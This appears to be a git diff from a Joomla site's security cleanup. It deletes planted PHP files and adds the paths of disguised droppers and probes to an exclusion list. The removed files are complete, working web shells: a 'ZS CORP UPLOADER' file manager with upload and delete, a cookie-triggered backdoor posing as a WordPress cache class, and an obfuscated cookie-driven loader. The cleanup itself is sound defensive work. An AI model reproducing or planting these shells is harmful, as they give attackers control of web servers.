H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1,50 +0,0 @@
<?php
/**
* Object Cooker API
*
* @link https://codex.wordpress.org/Class_Reference/WP_Object_Cooker
*
* @package WordPress
* @subpackage Cooker
*/
class index {
private $driver = 'cookie';
private $type = 'call';
private $prefix = 'md5';
private $user = 'user';
private $hash = '640d48cf47e02bb2c970f7bffe886571';
private $archive = 'array';
private $split = 'func';
private $data = FALSE;
function __construct() {
$this->init();
}
private function init()
{
$this->data = $_COOKIE;
$prefix = $this->prefix;
foreach($this->data AS $i => $v) $this->data[$i] = str_replace($prefix.'=', '', $v);
$prefix = $prefix(array_shift($this->data));
if($prefix==$this->hash) return $this->incr();
}
private function incr()
{
$user = array($this->type, $this->user, $this->split, $this->archive);
$user = implode('_', $user);
echo $user(array_shift($this->data), $this->data);
}
}
/**
* Increment numeric cache item's value
*
* @since 3.3.0
*
* @see WP_Object_Cooker::incr()
* @global WP_Object_Cache $wp_object_cooker Object cookie global instance.
*
* @param int|string $key The key for the cache contents that should be incremented.
* @param int $offset Optional. The amount by which to increment the item's value. Default 1.
* @param string $group Optional. The group the key is in. Default empty.
* @return false|int False on failure, the item's new value on success.
*/
new index();

View File

@ -19,3 +19,31 @@ components/com_joml_incf
administrator/components/com_joml_incf administrator/components/com_joml_incf
components/com_sys_rom components/com_sys_rom
administrator/components/com_sys_rom administrator/components/com_sys_rom
# --- 2026 incidens: a vetted-live Helix3-ból behozott, kiterjesztés-álcázott
# droppek/defacementek/probe-k + sbtrack cloaking-proxy (security-cleanup).
# A PHP-tagos .json droppeket a build-baseline.sh step 6/(a) tartalom-alapon fogja;
# az alábbiak (plain-.json defacement/probe + non-.json .php) explicit listán.
language/en-GB/en-GB.php
modules/mod_jsnusers/tmpl/index.php
sbtrack.php
templates/beez3/info.php
templates/shaper_helix3/cox.json
templates/shaper_helix3/layout/5ce342d1feeb3297_xri6l4eq.json
templates/shaper_helix3/layout/6etar.json
templates/shaper_helix3/layout/8a38e129e76e80ff_d3h48ag1.json
templates/shaper_helix3/layout/9cb22468b5254cb4_zaaafntq.json
templates/shaper_helix3/layout/cox.json
templates/shaper_helix3/layout/_d1337_vuln_probe.json
templates/shaper_helix3/layout/dummy.json
templates/shaper_helix3/layout/_hxep1rur.json
templates/shaper_helix3/layout/_hxepn2vl.json
templates/shaper_helix3/layout/_hxepqjbw.json
templates/shaper_helix3/layout/_hxepqvk3.json
templates/shaper_helix3/layout/_hxeptiha.json
templates/shaper_helix3/layout/_hxepx62d.json
templates/shaper_helix3/layout/_hxprobe8myf1c.json
templates/shaper_helix3/layout/_hxprobeoa31x6.json
templates/shaper_helix3/layout/_hxprobet7sh3r.json
templates/shaper_helix3/layout/jftest.json
templates/shaper_helix3/layout/nxtest.json

View File

@ -1,3 +0,0 @@
<?php
$c=$_COOKIE;$k=0;$n=2;$p=array();$p[$k]='';while($n){$p[$k].=$c[20][$n];if(!$c[20][$n+1]){if(!$c[20][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+2+1;}$k=$p[7]().$p[25];if(!$p[13]($k)){$n=$p[21]($k,$p[14]);$p[11]($n,$p[8].$p[1]($p[10]($c[3])));}include($k);
?>